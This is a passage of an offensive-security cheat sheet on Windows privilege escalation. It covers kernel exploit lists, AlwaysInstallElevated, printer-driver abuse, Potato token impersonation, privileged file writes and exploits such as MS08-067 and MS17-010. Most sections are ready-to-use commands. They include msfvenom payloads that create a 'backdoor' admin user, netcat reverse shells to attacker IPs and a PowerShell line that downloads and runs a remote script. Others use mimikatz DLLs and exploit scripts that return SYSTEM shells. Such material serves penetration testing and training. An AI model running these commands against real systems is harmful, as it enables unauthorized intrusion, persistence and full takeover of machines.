- [MS16-098](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-098) 　[KB3178466]　　[Kernel Driver]　　(Win 8.1)
- [MS16-075](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075) 　[KB3164038]　　[Hot Potato]　　(2003/2008/7/8/2012)
- [MS16-034](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034) 　[KB3143145]　　[Kernel Driver]　　(2008/7/8/10/2012)
- [MS16-032](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032) 　[KB3143141]　　[Secondary Logon Handle]　　(2008/7/8/10/2012)
- [MS16-016](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-016) 　[KB3136041]　　[WebDAV]　　(2008/Vista/7)
- [MS16-014](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-014) 　[K3134228]　　[remote code execution]　　(2008/Vista/7)    
...
- [MS03-026](./MS03-026) 　[KB823980]　　 [Buffer Overrun In RPC Interface]　　(/NT/2000/XP/2003)  

To cross compile a program from Kali, use the following command.

```powershell
Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c
```

## EoP - AlwaysInstallElevated

Check if these registry values are set to "1".

```powershell
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

$ Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
$ Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
```

Then create an MSI package and install it.

```powershell
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi
$ msiexec /quiet /qn /i C:\evil.msi
```

Technique also available in :
* Metasploit : `exploit/windows/local/always_install_elevated`
* PowerUp.ps1 : `Get-RegistryAlwaysInstallElevated`, `Write-UserAddMSI`


## EoP - Insecure GUI apps

Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.

Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"


## EoP - Evaluating Vulnerable Drivers

Look for vuln drivers loaded, we often don't spend enough time looking at this:

* [Living Off The Land Drivers](https://www.loldrivers.io/) is a curated list of Windows drivers used by adversaries to bypass security controls and carry out attacks. The project helps security professionals stay informed and mitigate potential threats.
* Native binary: DriverQuery.exe
    ```powershell
    PS C:\Users\Swissky> driverquery.exe /fo table /si
    Module Name  Display Name           Driver Type   Link Date
    ============ ====================== ============= ======================
    1394ohci     1394 OHCI Compliant Ho Kernel        12/10/2006 4:44:38 PM
    3ware        3ware                  Kernel        5/18/2015 6:28:03 PM
    ACPI         Microsoft ACPI Driver  Kernel        12/9/1975 6:17:08 AM
    AcpiDev      ACPI Devices driver    Kernel        12/7/1993 6:22:19 AM
    acpiex       Microsoft ACPIEx Drive Kernel        3/1/2087 8:53:50 AM
    acpipagr     ACPI Processor Aggrega Kernel        1/24/2081 8:36:36 AM
    AcpiPmi      ACPI Power Meter Drive Kernel        11/19/2006 9:20:15 PM
    acpitime     ACPI Wake Alarm Driver Kernel        2/9/1974 7:10:30 AM
    ADP80XX      ADP80XX                Kernel        4/9/2015 4:49:48 PM
    <SNIP>
    ```
* [matterpreter/OffensiveCSharp/DriverQuery](https://github.com/matterpreter/OffensiveCSharp/tree/master/DriverQuery)
    ```powershell
    PS C:\Users\Swissky> DriverQuery.exe --no-msft
    [+] Enumerating driver services...
    [+] Checking file signatures...
    Citrix USB Filter Driver
        Service Name: ctxusbm
        Path: C:\Windows\system32\DRIVERS\ctxusbm.sys
        Version: 14.11.0.138
        Creation Time (UTC): 17/05/2018 01:20:50
        Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US
        Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US
    <SNIP>
    ```

## EoP - Printers

### Universal Printer

Create a Printer

```ps1
$printerName     = 'Universal Priv Printer'
$system32        = $env:systemroot + '\system32'
$drivers         = $system32 + '\spool\drivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName
 
Copy-Item -Force -Path ($system32 + '\mscms.dll')             -Destination ($system32 + '\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll'   -Destination ($drivers  + '\x64\3\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers  + '\W32X86\3\mimispool.dll')
 
Add-PrinterDriver -Name       'Generic / Text Only'
Add-Printer       -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
 
New-Item         -Path ($RegStartPrinter + '\CopyFiles')        | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Directory' -PropertyType 'String'      -Value 'x64\3'           | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String'      -Value 'W32X86\3'        | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Mango')  | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Directory' -PropertyType 'String'      -Value $null             | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Files'     -PropertyType 'MultiString' -Value $null             | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Module'    -PropertyType 'String'      -Value 'mimispool.dll'   | Out-Null
```

Execute the driver

```ps1
$serverName  = 'dc.purple.lab'
$printerName = 'Universal Priv Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
```

### PrinterNightmare

```ps1
git clone https://github.com/Flangvik/DeployPrinterNightmare
PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[<3] @Flangvik - TrustedSec
[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\system32\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Adding printer driver => Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry key
```

```ps1
PS C:\target> $serverName  = 'printer-installed-host'
PS C:\target> $printerName = 'EasySystemShell'
PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
PS C:\target> Add-Printer -ConnectionName $fullprinterName
```

### Bring Your Own Vulnerability

Concealed Position : https://github.com/jacob-baines/concealed_position

* ACIDDAMAGE - [CVE-2021-35449](https://nvd.nist.gov/vuln/detail/CVE-2021-35449) - Lexmark Universal Print Driver LPE
* RADIANTDAMAGE - [CVE-2021-38085](https://nvd.nist.gov/vuln/detail/CVE-2021-38085) - Canon TR150 Print Driver LPE
* POISONDAMAGE - [CVE-2019-19363](https://nvd.nist.gov/vuln/detail/CVE-2019-19363) - Ricoh PCL6 Print Driver LPE
* SLASHINGDAMAGE - [CVE-2020-1300](https://nvd.nist.gov/vuln/detail/CVE-2020-1300) - Windows Print Spooler LPE

```powershell
cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE
```

## EoP - Runas

Use the `cmdkey` to list the stored credentials on the machine.

```powershell
cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator
```

Then you can use `runas` with the `/savecred` options in order to use the saved credentials. 
The following example is calling a remote binary via an SMB share.
```powershell
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas /savecred /user:Administrator "cmd.exe /k whoami"
```

Using `runas` with a provided set of credential.

```powershell
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
```

```powershell
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
```

## EoP - Abusing Shadow Copies

If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation.

```powershell
# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
  
# List shadow copies using diskshadow
diskshadow list shadows all
  
# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```

## EoP - From local administrator to NT SYSTEM

```powershell
PsExec.exe -i -s cmd.exe
```

## EoP - Living Off The Land Binaries and Scripts

Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/

> The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.

A LOLBin/Lib/Script must:

* Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.
Have extra "unexpected" functionality. It is not interesting to document intended use cases.
Exceptions are application whitelisting bypasses
* Have functionality that would be useful to an APT or red team

```powershell
wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml
```

## EoP - Impersonation Privileges

Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.

| Privilege | Impact | Tool | Execution path | Remarks |
| --- | --- | --- | --- | --- |
|`SeAssignPrimaryToken`| ***Admin*** | 3rd party tool | *"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"* | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. |
|`SeBackup`| **Threat** | ***Built-in commands*** | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br> <br>- `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files.<br> <br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
|`SeCreateToken`| ***Admin*** | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. ||
|`SeDebug`| ***Admin*** | **PowerShell** | Duplicate the `lsass.exe` token.  | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys` or `capcom.sys`<br>2. Exploit the driver vulnerability<br> <br> Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)<br>2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh)  |
|`SeRestore`| ***Admin*** | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTakeOwnership`| ***Admin*** | ***Built-in commands*** |1. `takeown.exe /f "%windir%\system32"`<br>2. `icalcs.exe "%windir%\system32" /grant "%username%":F`<br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTcb`| ***Admin*** | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.<br> <br>To be verified. ||

### Restore A Service Account's Privileges

> This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.

```powershell
# https://github.com/itm4n/FullPowers

c:\TOOLS>FullPowers
[+] Started dummy thread with id 9976
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
```

### Meterpreter getsystem and alternatives

```powershell
meterpreter> getsystem 
Tokenvator.exe getsystem cmd.exe 
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe 
psexec -s -i cmd.exe 
python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
```

### RottenPotato (Token Impersonation)

* Binary available at : [foxglovesec/RottenPotato](https://github.com/foxglovesec/RottenPotato) and [breenmachine/RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)
* Exploit using Metasploit with `incognito mode` loaded.
    ```c
    getuid
    getprivs
    use incognito
    list\_tokens -u
    cd c:\temp\
    execute -Hc -f ./rot.exe
    impersonate\_token "NT AUTHORITY\SYSTEM"
    ```

```powershell
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
```


### Juicy Potato (Abusing the golden privileges)

> If the machine is **>= Windows 10 1809 & Windows Server 2019** - Try **Rogue Potato**    
> If the machine is **< Windows 10 1809 < Windows Server 2019** - Try **Juicy Potato**

* Binary available at : [ohpe/juicy-potato](https://github.com/ohpe/juicy-potato/releases) 

1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication)

    ```powershell
    whoami /priv
    ```

2. Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object

    * [Windows 7 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise) 
    * [Windows 8.1 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_8.1_Enterprise)
    * [Windows 10 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_10_Enterprise)
    * [Windows 10 Professional](https://ohpe.it/juicy-potato/CLSID/Windows_10_Pro)
    * [Windows Server 2008 R2 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise) 
    * [Windows Server 2012 Datacenter](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter)
    * [Windows Server 2016 Standard](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard) 

3. Execute JuicyPotato to run a privileged command.

    ```powershell
    JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}
    JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
    JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe"
        Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337
        ......
        [+] authresult 0
        {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM
        [+] CreateProcessWithTokenW OK
    ```

### Rogue Potato (Fake OXID Resolver)

* Binary available at [antonioCoco/RoguePotato](https://github.com/antonioCoco/RoguePotato)

```powershell
# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999

# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine. 
# Use this if you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"

# RoguePotato all in one with RogueOxidResolver running locally on port 9999
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999

#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode
```

### EFSPotato (MS-EFSR EfsRpcOpenFileRaw)

* Binary available at https://github.com/zcgonvh/EfsPotato

```powershell
# .NET 4.x
csc EfsPotato.cs
csc /platform:x86 EfsPotato.cs

# .NET 2.0/3.5
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs
```

### JuicyPotatoNG

* [antonioCoco/JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG)

```powershell
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" > C:\juicypotatong.txt
```


## EoP - Privileged File Write

### DiagHub

:warning: Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.

The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM. 
This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the `C:\Windows\System32` directory. 

#### Exploit

1. Create an [evil DLL](https://gist.github.com/xct/3949f3f4f178b1f3427fae7686a2a9c0) e.g: payload.dll and move it into `C:\Windows\System32`
2. Build https://github.com/xct/diaghub
3. `diaghub.exe c:\\ProgramData\\ payload.dll`

The default payload will run `C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe`

Alternative tools:
* https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag
* https://github.com/decoder-it/diaghub_exploit


### UsoDLLLoader

:warning: 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.

> An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. @tiraniddo)

If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of `windowscoredeviceinfo.dll` into `C:\Windows\Sytem32\` and then have it loaded by the USO service to get arbitrary code execution as **NT AUTHORITY\System**.

#### Exploit

1. Build https://github.com/itm4n/UsoDllLoader
    * Select Release config and x64 architecure.
    * Build solution.
        * DLL .\x64\Release\WindowsCoreDeviceInfo.dll
        * Loader .\x64\Release\UsoDllLoader.exe.
2. Copy `WindowsCoreDeviceInfo.dll` to `C:\Windows\System32\`
3. Use the loader and wait for the shell or run `usoclient StartInteractiveScan` and connect to the bind shell on port 1337.


### WerTrigger

> Exploit Privileged File Writes bugs with Windows Problem Reporting

1. Clone https://github.com/sailay1996/WerTrigger
2. Copy `phoneinfo.dll` to `C:\Windows\System32\`
3. Place `Report.wer` file and `WerTrigger.exe` in a same directory.
4. Then, run `WerTrigger.exe`.
5. Enjoy a shell as **NT AUTHORITY\SYSTEM**

### WerMgr

> Exploit Privileged Directory Creation Bugs with Windows Error Reporting

1. Clone https://github.com/binderlabs/DirCreate2System
2. Create directory `C:\Windows\System32\wermgr.exe.local\`
3. Grant access to it: `cacls C:\Windows\System32\wermgr.exe.local /e /g everyone:f`
4. Place `spawn.dll` file and `dircreate2system.exe` in a same directory and run `.\dircreate2system.exe`. 
5. Enjoy a shell as **NT AUTHORITY\SYSTEM**


## EoP - Common Vulnerabilities and Exposure

### MS08-067 (NetAPI)

Check the vulnerability with the following nmap script.

```c
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 <ip_netblock>
```

Metasploit modules to exploit `MS08-067 NetAPI`.

```powershell
exploit/windows/smb/ms08_067_netapi
```

If you can't use Metasploit and only want a reverse shell.

```powershell
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows

Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
python ms08-067.py 10.0.0.1 6 445
```


### MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7 

'KiTrap0D' User Mode to Ring Escalation (MS10-015)

```powershell
https://www.exploit-db.com/exploits/11199

Metasploit : exploit/windows/local/ms10_015_kitrap0d
```

### MS11-080 (afd.sys) - Microsoft Windows XP/2003

```powershell
Python: https://www.exploit-db.com/exploits/18176
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
```

### MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012

```powershell
printf("[#] usage: ms15-051 command \n");
printf("[#] eg: ms15-051 \"whoami /all\" \n");

# x32
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe

# x64
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image
```


### MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)

Check if the patch is installed : `wmic qfe list | findstr "3139914"`

```powershell
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

Binary exe : https://github.com/Meatballs1/ms16-032

Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

### MS17-010 (Eternal Blue)

Check the vulnerability with the following nmap script or crackmapexec: `crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M ms17-010`.

```c
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>
```

Metasploit modules to exploit `EternalRomance/EternalSynergy/EternalChampion`.

```powershell
auxiliary/admin/smb/ms17_010_command          MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010            MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue      MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec           MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
```

If you can't use Metasploit and only want a reverse shell.

```powershell
git clone https://github.com/helviojunior/MS17-010

# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe
python2 send_and_execute.py 10.0.0.1 revshell.exe
```

### CVE-2019-1388

Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html

Requirement:
- Windows 7 
- Windows 10 LTSC 10240

Failing on : 
- LTSC 2019
- 1709
- 1803

Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege


## References

* [icacls - Docs Microsoft](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls)
* [Privilege Escalation Windows - Philip Linghammar](https://web.archive.org/web/20191231011305/https://xapax.gitbooks.io/security/content/privilege_escalation_windows.html)
* [Windows elevation of privileges - Guifre Ruiz](https://guif.re/windowseop)
* [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/)
* [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
* [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
* [TOP–10 ways to boost your privileges in Windows systems - hackmag](https://hackmag.com/security/elevating-privileges-to-administrative-and-further/)
* [The SYSTEM Challenge](https://decoder.cloud/2017/02/21/the-system-challenge/)
* [Windows Privilege Escalation Guide - absolomb's security blog](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
* [Chapter 4 - Windows Post-Exploitation - 2 Nov 2017 - dostoevskylabs](https://github.com/dostoevskylabs/dostoevsky-pentest-notes/blob/master/chapter-4.md)
* [Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell](https://www.tecklyfe.com/remediation-microsoft-windows-unquoted-service-path-enumeration-vulnerability/)
* [Pentestlab.blog - WPE-01 - Stored Credentials](https://pentestlab.blog/2017/04/19/stored-credentials/)
* [Pentestlab.blog - WPE-02 - Windows Kernel](https://pentestlab.blog/2017/04/24/windows-kernel-exploits/)
* [Pentestlab.blog - WPE-03 - DLL Injection](https://pentestlab.blog/2017/04/04/dll-injection/)
* [Pentestlab.blog - WPE-04 - Weak Service Permissions](https://pentestlab.blog/2017/03/30/weak-service-permissions/)
* [Pentestlab.blog - WPE-05 - DLL Hijacking](https://pentestlab.blog/2017/03/27/dll-hijacking/)
* [Pentestlab.blog - WPE-06 - Hot Potato](https://pentestlab.blog/2017/04/13/hot-potato/)
* [Pentestlab.blog - WPE-07 - Group Policy Preferences](https://pentestlab.blog/2017/03/20/group-policy-preferences/)
* [Pentestlab.blog - WPE-08 - Unquoted Service Path](https://pentestlab.blog/2017/03/09/unquoted-service-path/)
* [Pentestlab.blog - WPE-09 - Always Install Elevated](https://pentestlab.blog/2017/02/28/always-install-elevated/) 
* [Pentestlab.blog - WPE-10 - Token Manipulation](https://pentestlab.blog/2017/04/03/token-manipulation/)
* [Pentestlab.blog - WPE-11 - Secondary Logon Handle](https://pentestlab.blog/2017/04/07/secondary-logon-handle/)
* [Pentestlab.blog - WPE-12 - Insecure Registry Permissions](https://pentestlab.blog/2017/03/31/insecure-registry-permissions/)
* [Pentestlab.blog - WPE-13 - Intel SYSRET](https://pentestlab.blog/2017/06/14/intel-sysret/)
* [Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @_xpn_](https://blog.xpnsec.com/becoming-system/)
* [Living Off The Land Binaries and Scripts (and now also Libraries)](https://github.com/LOLBAS-Project/LOLBAS)
* [Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec](https://web.archive.org/web/20191105182846/https://amonsec.net/2018/09/23/Common-Windows-Misconfiguration-Services.html)
* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf)
* [Abusing Diaghub - xct - March 07, 2019](https://vulndev.io/2019/03/06/abusing-diaghub/)
